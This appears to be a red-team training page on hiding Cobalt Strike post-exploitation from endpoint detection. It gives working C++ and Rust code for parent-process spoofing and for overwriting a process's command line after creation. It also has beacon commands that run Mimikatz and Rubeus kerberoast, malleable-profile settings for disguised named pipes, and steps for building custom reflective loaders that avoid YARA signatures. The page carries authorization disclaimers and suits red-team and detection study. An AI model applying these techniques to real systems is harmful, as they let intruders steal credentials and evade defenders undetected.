cs-process-evasion

05 — CS Process Evasion

BLUF: Every post-exploitation action in Cobalt Strike that spawns a new process (Mimikatz, Rubeus, etc.) is a detection event. This module covers the evasion stack for process-based detection: SpawnTo, PPID spoofing, command-line argument spoofing, SMB named pipe spoofing, inline .NET (no fork), BOF in-process execution, and User-Defined Reflective Loaders (UDRL) to defeat CS beacon signatures.

Warning

Authorized use only. All techniques for professional red team engagements with written scope.

Note
Important

Authorized use only: Use these notes only in owned, explicitly authorized, or isolated lab environments.

Detection awareness: Assume commands, binaries, network calls, identity changes, and cloud or directory actions may be logged by endpoint tooling, audit frameworks, SIEM pipelines, proxy logs, DNS logs, auth logs, and platform telemetry.

Blue-team view: Treat every technique as a defender validation exercise too: note what artifacts it creates, what alerts or hunts could surface it, and what monitoring or hardening would prevent or contain it.

CTF/lab boundary: If a sandbox or CTF includes bypass-oriented exercises, keep them confined to that environment and translate the lesson into detection, prevention, and cleanup notes rather than real-world evasion guidance.


The Detection Problem: Fork & Run

Most CS post-ex commands use fork & run: spawn a sacrificial process, inject the post-ex DLL (Mimikatz, Rubeus, etc.) into it, capture output over a named pipe, kill the process.

Every step generates telemetry:

Event EDR / SIEM Detection
Beacon spawns child process Sysmon EID 1 — parent-child chain flagged
Default child = rundll32.exe YARA/behavioral rule: rundll32 from userland parent
RWX allocation in child pe-sieve, Moneta: unbacked executable region
Named pipe read Sysmon EID 17/18 — pipe name contains "msagent_"
Post-ex DLL loaded Sysmon EID 7 — unsigned image load

The evasion stack addresses each event independently.


1 — SpawnTo: Change the Sacrificial Process

1.1 Why rundll32.exe Is Always Caught

CS default spawnto = rundll32.exe. Detection rules have flagged this since 2015.

1.2 Runtime Change (Per Beacon)

beacon> spawnto x64 %windir%\sysnative\dllhost.exe
beacon> spawnto x86 %windir%\syswow64\dllhost.exe

# Verify
beacon> spawnto
# Now run post-ex
beacon> mimikatz standard::coffee

1.3 Set Default in Malleable C2 Profile

post-ex {
    set spawnto_x64 "%windir%\\sysnative\\dllhost.exe";
    set spawnto_x86 "%windir%\\syswow64\\dllhost.exe";
    set obfuscate   "true";
    set smartinject "true";
}

1.4 SpawnTo Target Selection

Process Risk Notes
rundll32.exe Critical — never use CS default, every EDR flags this
notepad.exe High Spawns network connections it never makes legitimately
dllhost.exe Low COM surrogate, commonly runs, expected to be short-lived
svchost.exe -k netsvcs Low Requires matching flags exactly or EDR flags the args
WerFault.exe Critical — never use Error reporter — SOC always investigates
msedge.exe --no-startup-window Low Makes network connections, ASR-excluded on many systems

2 — PPID Spoofing: Hide the Parent Process

2.1 Why It Matters

EDRs track parent-child chains. A CS beacon (injected into OneDrive.exe) spawning dllhost.exe is anomalous — OneDrive.exe never spawns dllhost.exe legitimately. PPID spoofing sets explorer.exe or svchost.exe as the visible parent.

2.2 Cobalt Strike Built-In

beacon> ps
# Find a good parent — explorer.exe (PID 5056) or msedge.exe

beacon> ppid 5056
# All subsequent fork-and-run processes appear as children of explorer.exe (5056)

beacon> spawnto x64 %windir%\sysnative\dllhost.exe
beacon> mimikatz standard::coffee
# Sysmon sees: explorer.exe → dllhost.exe (normal-looking)

2.3 C++ Implementation

#include <Windows.h>
#include <iostream>

// Spawn notepad.exe as a child of explorer.exe (PID = parentPid)
void spawnWithSpoofedPPID(DWORD parentPid, const wchar_t* commandLine) {
    LPSTARTUPINFOEXW si = new STARTUPINFOEXW{};
    si->StartupInfo.cb = sizeof(STARTUPINFOEXW);

    SIZE_T size = 0;
    InitializeProcThreadAttributeList(NULL, 1, 0, &size);
    si->lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)malloc(size);
    InitializeProcThreadAttributeList(si->lpAttributeList, 1, 0, &size);

    HANDLE hParent = OpenProcess(PROCESS_CREATE_PROCESS, FALSE, parentPid);
    UpdateProcThreadAttribute(si->lpAttributeList, 0,
        PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,
        &hParent, sizeof(HANDLE), NULL, NULL);

    PROCESS_INFORMATION pi{};
    wchar_t cmd[256];
    wcscpy_s(cmd, commandLine);

    CreateProcess(NULL, cmd, NULL, NULL, FALSE,
        EXTENDED_STARTUPINFO_PRESENT, NULL, NULL,
        &si->StartupInfo, &pi);

    printf("[+] Spawned PID %d (parent: %d)\n", pi.dwProcessId, parentPid);

    DeleteProcThreadAttributeList(si->lpAttributeList);
    free(si->lpAttributeList);
    CloseHandle(hParent);
    CloseHandle(pi.hThread);
    CloseHandle(pi.hProcess);
}

2.4 Rust Implementation

use std::ptr::null_mut;
use windows_sys::Win32::{
    Foundation::HANDLE,
    System::Threading::{
        CreateProcessW, InitializeProcThreadAttributeList, UpdateProcThreadAttribute,
        DeleteProcThreadAttributeList, OpenProcess,
        PROCESS_INFORMATION, STARTUPINFOEXW, EXTENDED_STARTUPINFO_PRESENT,
        PROCESS_CREATE_PROCESS,
    },
    System::Memory::{VirtualAlloc, MEM_COMMIT, PAGE_READWRITE},
};

unsafe fn spawn_with_ppid_spoof(parent_pid: u32, command_line: &str) {
    let mut si: STARTUPINFOEXW = std::mem::zeroed();
    si.StartupInfo.cb = std::mem::size_of::<STARTUPINFOEXW>() as u32;

    let mut size = 0usize;
    InitializeProcThreadAttributeList(null_mut(), 1, 0, &mut size);
    si.lpAttributeList = VirtualAlloc(null_mut(), size, MEM_COMMIT, PAGE_READWRITE) as _;
    InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &mut size);

    let h_parent: HANDLE = OpenProcess(PROCESS_CREATE_PROCESS, 0, parent_pid);
    UpdateProcThreadAttribute(si.lpAttributeList, 0,
        0x00020000, // PROC_THREAD_ATTRIBUTE_PARENT_PROCESS
        &h_parent as *const _ as _, std::mem::size_of::<HANDLE>(),
        null_mut(), null_mut());

    let mut pi: PROCESS_INFORMATION = std::mem::zeroed();
    let mut cmd: Vec<u16> = command_line.encode_utf16().chain([0]).collect();

    CreateProcessW(null_mut(), cmd.as_mut_ptr(),
        null_mut(), null_mut(), 0,
        EXTENDED_STARTUPINFO_PRESENT, null_mut(), null_mut(),
        &mut si.StartupInfo, &mut pi);

    DeleteProcThreadAttributeList(si.lpAttributeList);
}

3 — Command-Line Argument Spoofing

3.1 How It Works

  1. Create process in SUSPENDED state with fake (benign) arguments — these get logged by Sysmon EID 1
  2. Read the process's PEB (NtQueryInformationProcess) and locate the CommandLine.Buffer
  3. Overwrite the buffer with the real (malicious) arguments — already past the logging window
  4. Resume the thread — executes real payload; logs show fake args

3.2 Cobalt Strike argue Command

# Set a fake argument template for powershell
beacon> argue powershell -c "Get-Date"

# Now any powershell execution is logged as Get-Date
beacon> powershell -c "Invoke-Mimikatz"
# Sysmon EID 1 logs: powershell.exe -c "Get-Date"
# Actual execution:  Invoke-Mimikatz

# Clear the spoof
beacon> argue

3.3 C++ Implementation

#include <Windows.h>
#include <winternl.h>
#pragma comment(lib, "ntdll.lib")

void spoofedCreate(const wchar_t* app, wchar_t* fakeArgs, const wchar_t* realArgs) {
    STARTUPINFOW si{}; si.cb = sizeof(si);
    PROCESS_INFORMATION pi{};

    // Create process SUSPENDED with fake args (logged by Sysmon)
    CreateProcess(app, fakeArgs, nullptr, nullptr, FALSE,
        CREATE_SUSPENDED, nullptr, nullptr, &si, &pi);

    // Read PEB to find CommandLine buffer
    PROCESS_BASIC_INFORMATION pbi{};
    NtQueryInformationProcess(pi.hProcess, ProcessBasicInformation,
        &pbi, sizeof(pbi), nullptr);

    PEB peb{};
    ReadProcessMemory(pi.hProcess, pbi.PebBaseAddress, &peb, sizeof(peb), nullptr);

    RTL_USER_PROCESS_PARAMETERS params{};
    ReadProcessMemory(pi.hProcess, peb.ProcessParameters, &params, sizeof(params), nullptr);

    // Zero fake args in the buffer, write real args
    SIZE_T sz = params.CommandLine.Length;
    auto buf = std::make_unique<BYTE[]>(sz);
    ZeroMemory(buf.get(), sz);
    WriteProcessMemory(pi.hProcess, params.CommandLine.Buffer, buf.get(), sz, nullptr);
    WriteProcessMemory(pi.hProcess, params.CommandLine.Buffer,
        realArgs, (wcslen(realArgs)+1)*2, nullptr);

    ResumeThread(pi.hThread);
    CloseHandle(pi.hThread);
    CloseHandle(pi.hProcess);
}

4 — SMB Named Pipe Spoofing

CS fork-and-run uses a named pipe to return output from post-ex DLLs. Default pipe names match CS signatures (msagent_, postex_).

4.1 Malleable Profile: Change Pipe Names

post-ex {
    set pipename          "ntsvcs_##";     # ## = random digits
    set pipename_stager   "scerpc_##";
}

4.2 Custom Pipe Names That Blend In

# Mimic Windows built-in pipe naming
set pipename "svcctl_##, wkssvc_##, browser_##";

4.3 Verify Pipe Name (Sysmon EID 17/18)

# On test system — check what named pipes are created during post-ex
Get-SysmonEventLog | Where-Object {$_.Id -in 17,18} | 
    Select-Object TimeCreated, @{n='Pipe';e={$_.Properties[1].Value}}

Confirm your custom pipe name appears instead of default CS signatures.


5 — Inline .NET / No Fork-and-Run

Fork-and-run creates a new process per task. Inline execution runs the assembly inside the beacon process — no child process, no named pipe.

5.1 inlineExecute-Assembly (BOF)

Note: inlineExecute-Assembly is NOT a built-in stock Cobalt Strike command. It requires loading an external BOF/aggressor script (e.g., TrustedSec/COFFLoader or the inlineExecute-Assembly BOF from TrustedSec). CS 4.x does not ship this capability natively.

A BOF-based inline .NET executor (once the aggressor script is loaded):

beacon> inlineExecute-Assembly --dotnetassembly Rubeus.exe kerberoast
# Runs Rubeus in the beacon's own process — no child created
# No Sysmon EID 1, no parent-child chain

5.2 execute-assembly vs inlineExecute-Assembly

Method Child Process Named Pipe Detection Surface
execute-assembly Yes (fork & run) Yes Sysmon EID 1, 17, 18
inlineExecute-Assembly No No Memory scanner only
BOF (beacon_obj_file) No No Lowest surface

5.3 BOF (Beacon Object File)

BOFs run directly in the beacon process via C code that's loaded and executed in-memory. No fork, no pipe.

# Load and run a BOF
beacon> inline-execute /path/to/credreader.o

Develop a BOF:

// credreader.c — compiled with: x86_64-w64-mingw32-gcc -c credreader.c -o credreader.o
#include <windows.h>
#include "beacon.h"    // from cobaltstrike/arsenal/bof/

void go(char* args, int alen) {
    BeaconPrintf(CALLBACK_OUTPUT, "BOF running in PID: %d\n", GetCurrentProcessId());
    // add your C code here — same process as beacon, no fork
}

6 — Process Inject Kit (Custom Injection Method)

CS uses VirtualAllocEx + WriteProcessMemory + CreateRemoteThread by default — flagged by virtually every EDR. The Process Inject Kit (CS Arsenal) lets you replace it.

# Arsenal Kit location
/opt/cobaltstrike/arsenal-kit/kits/process_inject/

# Injection templates available:
# - NtCreateThreadEx (stealth alternative to CreateRemoteThread)
# - QueueUserAPC (Early Bird injection)
# - NtMapViewOfSection (shared memory, no WriteProcessMemory)
# - SetThreadContext (thread hijacking)

Load custom inject kit via Aggressor:

# inject_kit.cna
set PROCESS_INJECT_SPAWN {
    local('$pid $arch $handle');
    $pid    = $4;
    $arch   = $5;
    $handle = $6;
    
    # Replace default with NtMapViewOfSection
    &invoke_dll_inject_ntmapviewofsection($pid, $arch, $handle);
}

7 — UDRL: User-Defined Reflective Loader

The default CS reflective loader is heavily YARA-signatured. UDRL replaces it with a custom loading sequence.

7.1 Why Default Loader Is Caught

YARA rule Windows_Trojan_CobaltStrike_f0b627fc matches the default loader stub. Every scan — ThreatCheck, Defender, CrowdStrike — triggers on it.

7.2 Build a Custom UDRL

# Arsenal Kit
cd /opt/cobaltstrike/arsenal-kit/kits/udrl-vs/

# Projects:
# default-loader    — standard loader (baseline)
# obfuscation-loader — adds encryption/compression
# bud-loader        — Beacon User Data structure
# postex-loader     — for fork & run post-ex DLLs

Key modification — change memory allocation from RWX to RW→RX:

// In the UDRL source, replace:
// VirtualAlloc(..., PAGE_EXECUTE_READWRITE)
// With:
LPVOID mem = VirtualAlloc(NULL, size, MEM_COMMIT, PAGE_READWRITE);
memcpy(mem, beacon_dll, size);
DWORD old;
VirtualProtect(mem, size, PAGE_EXECUTE_READ, &old);
// Execute beacon
# Build Release x64
# Output: default-loader.x64.bin

# Pack into team server via Aggressor
# prepend-udrl.cna — prepend loader bytes to beacon payload
# stomp-udrl.cna   — stomp default loader in place

7.3 Verify YARA Detection Gone

# On test VM with CS-targeted YARA rules
yara64.exe -s yara\rules\Windows_Trojan_CobaltStrike.yar beacon.exe
# Zero matches = loader is doing its job

8 — Memory Permissions & Cleanup

8.1 Never Use RWX

RWX (Read-Write-Execute) memory regions are the most reliable EDR signal — every memory scanner flags them.

Allocation order:
1. VirtualAlloc(..., PAGE_READWRITE)       ← RW — no execute yet
2. WriteProcessMemory / memcpy             ← copy shellcode
3. VirtualProtect(..., PAGE_EXECUTE_READ)  ← RX — write removed
4. Execute

8.2 Post-Execution Cleanup

After a BOF or post-ex task completes, free allocations and zero memory:

// In BOF cleanup
SecureZeroMemory(allocation, size);
VirtualFree(allocation, 0, MEM_RELEASE);

In CS Aggressor, set:

post-ex {
    set cleanup "true";     # CS 4.5+ — tells beacon to clean post-ex DLL
}

9 — Detection Matrix & Countermeasures

Technique Default Detection Countermeasure
Fork & run execute-assembly Sysmon EID 1 (child), EID 17/18 (pipe) inlineExecute-Assembly or BOF
Default SpawnTo rundll32.exe Behavioral rule: rundll32 from userland Change to dllhost.exe / svchost.exe
Parent = beacon process EDR parent-child correlation PPID spoof to explorer.exe
Cmdline shows real payload Sysmon EID 1 CommandLine field argue command + PEB overwrite
Named pipe msagent_* Sysmon EID 17: CS pipe signature Custom pipename in Malleable profile
Default reflective loader YARA CobaltStrike_f0b627fc UDRL (custom loader)
RWX memory region pe-sieve, Moneta, CrowdStrike RW→RX allocation order
Post-ex DLL on disk (fork) AV scan on DLL drop Set cleanup = true, use in-memory DLL

Back to 6. EDR · Master Index